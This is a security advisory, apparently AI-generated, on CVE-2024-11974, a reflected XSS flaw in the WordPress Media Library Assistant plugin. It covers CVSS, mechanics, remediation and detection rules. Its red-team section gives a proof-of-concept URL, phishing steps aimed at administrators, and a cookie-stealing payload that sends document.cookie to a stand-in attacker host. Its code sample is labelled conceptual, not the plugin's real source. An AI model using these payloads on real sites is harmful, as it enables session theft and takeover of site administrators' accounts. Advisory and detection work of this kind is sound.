CVE-2024-11974

Executive Summary

CVE-2024-11974 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Media Library Assistant plugin for WordPress, affecting all versions up to and including 3.23. The flaw exists in the smc_settings_tab, unattachfixit-action, and woofixit-action parameters, which fail to properly sanitize user input and escape output. An unauthenticated attacker can inject arbitrary web scripts that execute when a victim clicks a crafted link. The CVSS score is 6.1 (Medium), and the EPSS probability is 0.0%, indicating low exploitation likelihood at this time. No public exploit code or patch is available.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The issue lies entirely within the plugin’s code, not the underlying web server (Apache or Nginx). Administrators should treat this as a WordPress plugin security concern.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a link
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad due to unauthenticated access. The lack of a patch increases risk for unmaintained sites.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS in the WordPress plugin Media Library Assistant. The plugin processes the smc_settings_tab, unattachfixit-action, and woofixit-action parameters without proper sanitization or output escaping. When a crafted URL containing malicious JavaScript in these parameters is sent to a logged-in administrator (or any user with access to the plugin’s admin pages), the script executes in the context of the victim’s session.

Attack Flow:

1. Attacker crafts a URL: https://target.com/wp-admin/upload.php?page=mla-settings-menu-simple&smc_settings_tab=<script>alert('XSS')</script>
2. Attacker tricks a victim (e.g., via phishing email) into clicking the link.
3. The victim’s browser sends the request, and the plugin reflects the malicious payload without sanitization.
4. The script executes, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Root Cause: Insufficient input validation and lack of output escaping in the plugin’s settings page handling.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically. The plugin likely uses $_GET['smc_settings_tab'] directly in HTML output without escaping.

Vulnerable Code (Conceptual):

$tab = $_GET['smc_settings_tab'];
echo "<div class='tab-content'>$tab</div>";

Patched Code (Expected):

$tab = sanitize_text_field($_GET['smc_settings_tab']);
echo "<div class='tab-content'>" . esc_html($tab) . "</div>";

The patch would involve using WordPress functions like esc_html() or wp_kses_post() to escape output, and sanitize_text_field() for input.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Since no public exploit exists, a basic PoC can be constructed:

PoC URL:

https://target.com/wp-admin/upload.php?page=mla-settings-menu-simple&smc_settings_tab=<script>alert(document.cookie)</script>

Steps:

1. Identify a WordPress site with the vulnerable plugin (version ≤ 3.23).
2. Craft the URL with a malicious payload (e.g., cookie theft).
3. Send the link to an authenticated admin via email or social engineering.
4. Upon click, the script executes.

Advanced Payload (Cookie Stealer):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor web logs for requests to /wp-admin/upload.php with page=mla-settings-menu-simple and suspicious parameters containing <script> or onerror= etc.
• Use WAF rules to block reflected XSS patterns.

Hardening:

• Disable the plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use WordPress security plugins (e.g., Wordfence) to add virtual patching.

Indicators of Compromise (IOCs)

• URL Patterns: page=mla-settings-menu-simple combined with smc_settings_tab, unattachfixit-action, or woofixit-action parameters containing HTML/JavaScript.
• HTTP Requests: GET requests to /wp-admin/upload.php with malicious query strings.
• Log Entries: wp-admin/upload.php?page=mla-settings-menu-simple&smc_settings_tab=<script>...</script>
• Network Traffic: Outbound connections to attacker-controlled domains from the WordPress admin panel.

Detection Engineering

YARA Rule

rule CVE_2024_11974_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Media Library Assistant plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11974"
    strings:
        $param1 = "smc_settings_tab="
        $param2 = "unattachfixit-action="
        $param3 = "woofixit-action="
        $xss_pattern = /<script[^>]*>.*<\/script>/i
    condition:
        any of ($param*) and $xss_pattern
}

Sigma Rule

title: Reflected XSS Attempt Against Media Library Assistant Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts via smc_settings_tab, unattachfixit-action, or woofixit-action parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'smc_settings_tab='
            - 'unattachfixit-action='
            - 'woofixit-action='
        cs-uri-query|re: '<script[^>]*>.*<\/script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin pages (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11974 Reflected XSS in Media Library Assistant"; flow:to_server; content:"/wp-admin/upload.php"; http_uri; content:"page=mla-settings-menu-simple"; http_uri; pcre:"/(smc_settings_tab|unattachfixit-action|woofixit-action)=.*<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for operations.
2. Apply virtual patching via WAF rules to block malicious parameters.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• The vendor must release a patched version (≥ 3.24) that sanitizes input and escapes output.
• Until then, consider replacing the plugin with an alternative.

Workaround:

• Add the following to .htaccess (Apache) or equivalent Nginx rule to block malicious requests:

RewriteCond %{QUERY_STRING} (smc_settings_tab|unattachfixit-action|woofixit-action)=.*<script [NC]
RewriteRule ^wp-admin/upload\.php - [F,L]

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.